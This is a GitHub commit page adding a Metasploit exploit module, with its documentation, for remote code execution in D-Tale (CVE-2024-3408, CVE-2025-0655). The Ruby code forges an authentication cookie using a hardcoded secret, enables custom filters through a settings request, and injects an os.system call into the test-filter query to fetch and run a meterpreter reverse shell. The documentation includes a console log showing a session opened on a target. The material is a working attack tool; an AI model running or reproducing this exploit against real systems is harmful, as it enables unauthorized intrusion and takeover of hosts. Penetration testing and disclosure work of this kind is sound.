Skip to content

Commit 3c4d0aa

Browse files
msutovsky-r7msutovsky-r7
authored
Land rapid7#19899, D-Tale remote code execution module
Add D-Tale RCE module (CVE-2024-3408, CVE-2025-0655)
2 parents 8ac44d5 + 47351e4 commit 3c4d0aa

File tree

2 files changed

+282
-0
lines changed

2 files changed

+282
-0
lines changed

‎documentation/modules/exploit/linux/http/dtale_rce_cve_2025_0655.md

Lines changed: 110 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,110 @@
1+
## Vulnerable Application
2+
3+
This exploit effectively serves as a bypass for CVE-2024-3408.
4+
An attacker can override global state to enable custom filters, which then facilitates remote code execution.
5+
Specifically, this vulnerability leverages the ability to manipulate global application settings
6+
to activate the enable_custom_filters feature, typically restricted to trusted environments.
7+
Once enabled, the /test-filter endpoint of the Custom Filters functionality can be exploited to execute arbitrary system commands.
8+
9+
The vulnerability affects:
10+
11+
* D-Tale <= 3.15.1
12+
13+
This module was successfully tested on:
14+
15+
* D-Tale 3.15.1 installed on Ubuntu 24.04
16+
* D-Tale 3.12.0 installed on Ubuntu 22.04
17+
* D-Tale 3.10.0 installed on Ubuntu 22.04
18+
* D-Tale 3.0.0 installed on Ubuntu 22.04
19+
* D-Tale 2.5.1 installed on Ubuntu 22.04
20+
* D-Tale 2.4.0 installed on Ubuntu 22.04
21+
22+
23+
### Installation
24+
25+
1. `pip install 'dtale==3.15.1'`
26+
27+
2. `dtale --host 0.0.0.0`
28+
29+
30+
## Verification Steps
31+
32+
1. Install the application
33+
2. Start msfconsole
34+
3. Do: `use exploit/linux/http/dtale_rce_cve_2025_0655`
35+
4. Do: `run lhost=<lhost> rhost=<rhost>`
36+
5. You should get a meterpreter
37+
38+
39+
## Options
40+
41+
42+
## Scenarios
43+
```
44+
msf6 > use exploit/linux/http/dtale_rce_cve_2025_0655
45+
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
46+
msf6 exploit(linux/http/dtale_rce_cve_2025_0655) > options
47+
48+
Module options (exploit/linux/http/dtale_rce_cve_2025_0655):
49+
50+
Name Current Setting Required Description
51+
---- --------------- -------- -----------
52+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
53+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
54+
RPORT 40000 yes The target port (TCP)
55+
SSL false no Negotiate SSL/TLS for outgoing connections
56+
VHOST no HTTP server virtual host
57+
58+
59+
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
60+
61+
Name Current Setting Required Description
62+
---- --------------- -------- -----------
63+
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
64+
FETCH_DELETE true yes Attempt to delete the binary after execution
65+
FETCH_FILELESS false yes Attempt to run payload without touching disk, Linux ≥3.17 only
66+
FETCH_SRVHOST no Local IP to use for serving payload
67+
FETCH_SRVPORT 8080 yes Local port to use for serving payload
68+
FETCH_URIPATH no Local URI to use for serving payload
69+
LHOST yes The listen address (an interface may be specified)
70+
LPORT 4444 yes The listen port
71+
72+
73+
When FETCH_FILELESS is false:
74+
75+
Name Current Setting Required Description
76+
---- --------------- -------- -----------
77+
FETCH_FILENAME agAyokIhdJZ no Name to use on remote system when storing payload; cannot contain spaces or slashes
78+
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
79+
80+
81+
Exploit target:
82+
83+
Id Name
84+
-- ----
85+
0 Linux Command
86+
87+
88+
89+
View the full module info with the info, or info -d command.
90+
91+
msf6 exploit(linux/http/dtale_rce_cve_2025_0655) > run lhost=192.168.56.1 rhost=192.168.56.17
92+
[*] Started reverse TCP handler on 192.168.56.1:4444
93+
[*] Running automatic check ("set AutoCheck false" to disable)
94+
[+] The target appears to be vulnerable. Version 3.15.1 detected.
95+
[*] Use data_id: 1
96+
[*] Updated the enable_custom_filters to true.
97+
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:33210) at 2025-03-03 20:49:53 +0900
98+
[*] Successfully executed the payload.
99+
[*] Successfully cleaned up data_id: 1
100+
101+
meterpreter > getuid
102+
Server username: ubu
103+
meterpreter > sysinfo
104+
Computer : 192.168.56.17
105+
OS : Ubuntu 22.04 (Linux 6.8.0-52-generic)
106+
Architecture : x64
107+
BuildTuple : x86_64-linux-musl
108+
Meterpreter : x64/linux
109+
meterpreter >
110+
```

‎modules/exploits/linux/http/dtale_rce_cve_2025_0655.rb

Lines changed: 172 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,172 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
12+
# forge a cookie in case there was authentication enabled:
13+
# import hashlib
14+
# from itsdangerous import URLSafeTimedSerializer # pip install itsdangerous
15+
# signer_kwargs = { "key_derivation" : "hmac", "digest_method" : staticmethod(hashlib.sha1) }
16+
# ser = URLSafeTimedSerializer("Dtale", salt="cookie-session", signer_kwargs=signer_kwargs)
17+
# session = ser.dumps({"logged_in" : True, "username" : "whatever"})
18+
SESSION = 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoid2hhdGV2ZXIifQ.Z8Jdmw.zUb6b2uEm9ZDKWIOsw2A1xLIuLc'
19+
20+
def initialize(info = {})
21+
super(
22+
update_info(
23+
info,
24+
'Name' => 'D-Tale RCE',
25+
'Description' => %q{
26+
This exploit effectively serves as a bypass for CVE-2024-3408.
27+
An attacker can override global state to enable custom filters, which then facilitates remote code execution.
28+
Specifically, this vulnerability leverages the ability to manipulate global application settings to activate the enable_custom_filters feature, typically restricted to trusted environments.
29+
Once enabled, the /test-filter endpoint of the Custom Filters functionality can be exploited to execute arbitrary system commands.
30+
},
31+
'Author' => [
32+
'taiphung217', # Vulnerability discovery and PoC
33+
'Takahiro Yokoyama' # Metasploit module
34+
],
35+
'License' => MSF_LICENSE,
36+
'References' => [
37+
['CVE', '2024-3408'],
38+
['CVE', '2025-0655'],
39+
['URL', 'https://huntr.com/bounties/f63af7bd-5438-4b36-a39b-4c90466cff13'],
40+
],
41+
'Platform' => %w[linux],
42+
'Targets' => [
43+
[
44+
'Linux Command', {
45+
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
46+
'DefaultOptions' => {
47+
# defaults to cmd/linux/http/aarch64/meterpreter/reverse_tcp
48+
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
49+
}
50+
}
51+
],
52+
],
53+
'DefaultOptions' => {
54+
'FETCH_DELETE' => true
55+
},
56+
'DefaultTarget' => 0,
57+
'Payload' => {
58+
'BadChars' => '\'"'
59+
},
60+
'DisclosureDate' => '2025-02-05',
61+
'Notes' => {
62+
'Stability' => [ CRASH_SAFE, ],
63+
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
64+
'Reliability' => [ REPEATABLE_SESSION, ]
65+
}
66+
)
67+
)
68+
register_options(
69+
[
70+
Opt::RPORT(40000),
71+
]
72+
)
73+
end
74+
75+
def check
76+
res = send_request_cgi({
77+
'method' => 'GET',
78+
'uri' => normalize_uri(target_uri.path, 'dtale/popup/upload'),
79+
'headers' => {
80+
'Cookie' => "session=#{SESSION}" # Set the JWT token as a cookie
81+
}
82+
})
83+
return Exploit::CheckCode::Unknown unless res&.code == 200
84+
85+
html_document = res.get_html_document
86+
return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank?
87+
88+
version_element = html_document.xpath('//*[@id="version"]/@value')
89+
return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank?
90+
91+
version = Rex::Version.new(version_element&.text)
92+
return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version <= Rex::Version.new('3.15.1')
93+
94+
Exploit::CheckCode::Appears("Version #{version} detected.")
95+
end
96+
97+
def exploit
98+
# Create a new MIME message (multipart form data)
99+
mime = Rex::MIME::Message.new
100+
# Add the file part to the body
101+
fname = "#{rand_text_alpha(3)}.csv"
102+
mime.add_part(
103+
"#{rand_text_alpha(1)},#{rand_text_alpha(1)}\n#{rand_text_numeric(1)},#{rand_text_numeric(1)}",
104+
'text/csv',
105+
nil,
106+
"form-data; name=\"#{fname}\"; filename=\"#{fname}\""
107+
)
108+
# Add additional form data
109+
mime.add_part('true', nil, nil, 'form-data; name="header"')
110+
mime.add_part('comma', nil, nil, 'form-data; name="separatorType"')
111+
mime.add_part('', nil, nil, 'form-data; name="separator"')
112+
113+
res = send_request_cgi({
114+
'method' => 'POST',
115+
'uri' => normalize_uri(target_uri.path, 'dtale/upload'),
116+
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
117+
'data' => mime.to_s,
118+
'headers' => {
119+
'Cookie' => "session=#{SESSION}" # Set the JWT token as a cookie
120+
}
121+
})
122+
@data_id = res&.get_json_document&.fetch('data_id', nil)
123+
fail_with(Failure::Unknown, 'Failed to get data_id from response.') unless @data_id
124+
print_status("Use data_id: #{@data_id}")
125+
126+
res = send_request_cgi({
127+
'method' => 'GET',
128+
'uri' => normalize_uri(target_uri.path, "dtale/update-settings/#{@data_id}"),
129+
'vars_get' => {
130+
'settings' => { 'enable_custom_filters' => true }.to_json
131+
},
132+
'headers' => {
133+
'Cookie' => "session=#{SESSION}" # Set the JWT token as a cookie
134+
}
135+
})
136+
fail_with(Failure::Unknown, 'Failed to update the settings.') unless res&.get_json_document&.fetch('success', nil)
137+
print_status('Updated the enable_custom_filters to true.')
138+
139+
send_request_cgi({
140+
'method' => 'GET',
141+
'uri' => normalize_uri(target_uri.path, "dtale/test-filter/#{@data_id}"),
142+
'vars_get' => {
143+
'query' => "@pd.core.frame.com.builtins.__import__('os').system('#{payload.encoded}')",
144+
'save' => true
145+
},
146+
'headers' => {
147+
'Cookie' => "session=#{SESSION}" # Set the JWT token as a cookie
148+
}
149+
})
150+
print_status('Successfully executed the payload.')
151+
end
152+
153+
def cleanup
154+
super
155+
156+
if @data_id
157+
res = send_request_cgi({
158+
'method' => 'GET',
159+
'uri' => normalize_uri(target_uri.path, 'dtale/cleanup-datasets'),
160+
'vars_get' => {
161+
'dataIds' => @data_id
162+
},
163+
'headers' => {
164+
'Cookie' => "session=#{SESSION}" # Set the JWT token as a cookie
165+
}
166+
})
167+
print_status("Failed to clean up data_id: #{@data_id}") unless res&.get_json_document&.fetch('success', nil)
168+
print_status("Successfully cleaned up data_id: #{@data_id}")
169+
end
170+
end
171+
172+
end

0 commit comments

Comments
 (0)